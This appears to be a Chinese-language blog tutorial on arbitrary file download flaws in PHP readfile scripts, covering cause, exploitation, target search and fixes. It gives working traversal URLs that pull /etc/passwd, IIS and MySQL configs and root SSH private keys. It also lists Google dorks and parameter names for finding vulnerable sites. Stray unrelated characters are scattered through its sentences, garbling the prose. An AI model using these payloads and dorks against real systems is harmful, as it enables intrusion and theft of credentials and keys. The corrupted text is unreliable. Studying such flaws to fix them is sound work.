01 漏洞描述
某些網(wǎng)站可能因?yàn)闃I(yè)務(wù)需要,提供文件查看或者下載的功能它改,如果對(duì)用戶查看或者需要下載的文件不做限制患亿,那么一些攻擊者可能構(gòu)造惡意代碼下載網(wǎng)站的敏感文件(源代碼,數(shù)據(jù)庫(kù)文件贴彼,登錄密碼等)
02 漏洞危害
理論上只要代碼構(gòu)造的好可以下載服務(wù)器的任何文件(代碼腳本潜腻,服務(wù)器配置文件,數(shù)據(jù)庫(kù)文件等)器仗,用得到的代碼進(jìn)行審計(jì)融涣,那么這個(gè)網(wǎng)站的漏洞就徹底暴露了童番。
03 漏洞產(chǎn)生
附上源代碼~
圖是從別人那盜來(lái)的,不過(guò)這都不重要威鹿,現(xiàn)在來(lái)分析下剃斧。通過(guò)GET傳值傳進(jìn)來(lái)一個(gè)file,然后是對(duì)file的定義忽你,最后直接readfile幼东,這中間沒(méi)有對(duì)傳進(jìn)來(lái)的file進(jìn)行判斷,所以導(dǎo)致漏洞的發(fā)生科雳。
04 漏洞利用
http://www.test.cn/readfile.php?file=/etc/passwd ? ?//下載主機(jī)密碼文件
http://www.test.cn/readfile.php?file=../index.php&path=C:\Windows\System32\inetsrv\MetaBase.xml ? ? ?//IIS配置文件
http://www.test.cn/readfile.php?file=../../../readfile.php&path=C:\Program20%Files\mysql\my.ini ? ? ? ? ? ? ? //Mysql配置文件
http://www.test.cn/readfile.php?file= /root/.ssh/id_rsa ? ? ? ? ? ? ? //SSH密鑰
05 漏洞搜索
可以用Google Hack或者url采集器采集目標(biāo)
inurl : readfile.php?file=
inurl :?download.php?file=
從參數(shù)名上看根蟹,大致是這些:
&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&Lang=
&dis=
&data=
&readfile=
&src
06 漏洞修復(fù)
過(guò)濾".",使用戶在url中不能回溯上級(jí)目錄
正則嚴(yán)格判斷用戶輸入?yún)?shù)的格式
php.ini配置open_basedir限定文件訪問(wèn)范圍